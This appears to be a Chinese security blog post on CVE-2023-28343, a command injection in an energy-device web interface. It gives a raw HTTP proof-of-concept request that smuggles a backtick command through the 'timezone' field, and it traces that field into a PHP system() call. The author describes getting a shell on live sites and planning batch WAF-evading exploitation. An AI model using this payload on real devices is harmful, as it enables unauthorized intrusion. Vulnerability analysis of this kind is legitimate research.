前言
最近看公众号发现有个漏洞CVE-2023-28343 发了一个poc是 timezone=nslookup www.dnslog.cn
我寻思这玩意难道就是回显不了的才能。于是我找国外网站进行复现。拿到了shell并且把代码打包了一份。下载下来仔细研究了一下这套系统是基于mvc开发的。发现了漏洞点。我尝试构造回显。构造成功尝试构造写shell的exp构造成功。我看到某些文章咔咔一顿发。跟风大部分都是这个poc。。。于是乎有了这篇文章。我看github老外也是是反弹shell的。我们能直接getshell 绝不反弹shell。
poc
POST /index.php/management/set_timezone HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 62
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/index.php/management/datetime
X-Requested-With: XMLHttpRequest
timezone=`nslookup dns`
漏洞起因
漏洞文件:home\local_web\pages\application\controllers\management.php
public function set_timezone() //漏洞函数
{
$results = $this->management_model->set_timezone(); //漏洞点
$results["message"] = $this->lang->line("timezone_result_{$results["value"]}");
echo json_encode($results);
}
继续追踪代码
\home\local_web\pages\application\models\management_model.php
/* 设置时区 */
public function set_timezone()
{
$results = array();
//获取页面选择的时区
$timezone = $this->input->post('timezone'); //可控点
if(strlen($timezone) == 0)
$timezone = "Asia/Taipei";
//设置linux系统时区
$cmd = "cp /usr/share/zoneinfo/$timezone /etc/localtime"; //漏洞点
system($cmd); //漏洞触发点
//将时区保存到配置文件
$fp = @fopen("/etc/yuneng/timezone.conf",'w');
if($fp){
fwrite($fp, $timezone);
fclose($fp);
}
//计算ECU本地时间并存入时钟芯片
date_default_timezone_set($timezone);
$localtime_assoc = localtime(time(), true);
$local_time = sprintf("%04d%02d%02d%02d%02d%02d",
$localtime_assoc['tm_year'] + 1900,
$localtime_assoc['tm_mon'] + 1,
$localtime_assoc['tm_mday'],
$localtime_assoc['tm_hour'],
$localtime_assoc['tm_min'],
$localtime_assoc['tm_sec']
);
$fp = @fopen("/dev/rtc2", 'w');
if ($fp) {
fwrite($fp, $local_time);
fclose($fp);
}
//重启主函数和客户端函数
//system("/home/application/ntpapp.exe");
system("killall main.exe");
system("killall client");
$results["value"] = 0;
/* 将ECU本地页面变动数据存入数据库 */
//ECU_id
$ecuid = "000000000000";
$fp = @fopen("/etc/yuneng/ecuid.conf",'r');
if($fp)
{
$ecuid = fgets($fp);
fclose($fp);
}
//初始化消息体
$record = "APS1300000A104AAA0".$ecuid.$local_time."00000000000000".$timezone."END";
//计算消息长度并加上回车符号
$record_length = sprintf("%05d", strlen($record));
$record = substr_replace($record, $record_length, 5, 5);
$record = $record."\n";
//将消息保存到数据库
$sql = "REPLACE INTO process_result (item, result, flag) VALUES(104, '$record', 1)";
$this->pdo->exec($sql);
return $results;
}
从上面代码我们知道漏洞在如何构造回显exp linux的就你们了。
//设置linux系统时区
$cmd = "cp /usr/share/zoneinfo/$timezone /etc/localtime";
system($cmd);
回显exp实战
回显实战
武器化自动化getshell
老外写的是执行命令的我们直接上shell。这个getshell稍微有点坎坷。因为这个站点有waf🤣。所以我们的软件大部分漏洞基本都是实战后写的exp。所以对比同软件来说我们很有优势。后续将专注自动化对抗waf 批量一键getshell 对已经的漏洞能直接拿权限的直接拿权限。更新详情。